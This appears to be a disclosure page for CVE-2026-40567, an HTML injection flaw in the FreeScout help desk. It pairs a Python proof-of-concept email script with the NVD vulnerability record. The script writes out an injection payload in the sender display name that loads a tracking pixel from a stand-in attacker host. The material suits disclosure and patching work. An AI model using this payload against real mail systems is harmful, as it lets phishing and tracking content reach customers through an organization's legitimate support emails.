CVE-2026-40567

import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_poc_email(): # Configuration for the target FreeScout email target_email = "[email protected]" sender_email = "[email protected]" # Malicious 'From' display name containing HTML injection payload # This payload attempts to inject a tracking pixel or phishing link malicious_display_name = 'Test User <img src="http://attacker.com/track.png" onload="alert(1)">' # Create the email message msg = MIMEMultipart() msg['From'] = malicious_display_name msg['To'] = target_email msg['Subject'] = "Help needed: HTML Injection Test" body = "Hello, I have a question regarding your service." msg.attach(MIMEText(body, 'plain')) # Send the email try: # Note: Replace with actual SMTP server details for testing # server = smtplib.SMTP('smtp.example.com', 587) # server.starttls() # server.login(sender_email, "password") # server.send_message(msg) # server.quit() print(f"[+] Payload prepared: {malicious_display_name}") print("[+] If successful, the HTML will be rendered in FreeScout replies.") except Exception as e: print(f"[-] Error sending email: {e}") if __name__ == "__main__": send_poc_email()

{"cve": {"id": "CVE-2026-40567", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.153", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, an unauthenticated attacker can inject arbitrary HTML into outgoing emails generated by FreeScout by sending an email with a crafted From display name. The name is stored in the database without sanitization and rendered unescaped into outgoing reply emails via the `{%customer.fullName%}` signature variable. This allows embedding phishing links, tracking pixels, and spoofed content inside legitimate support emails sent from the organization's address. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/9131b16f80eade81002cb9809a2603f6b61981cf", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q8v4-v62h-5528", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q8v4-v62h-5528", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}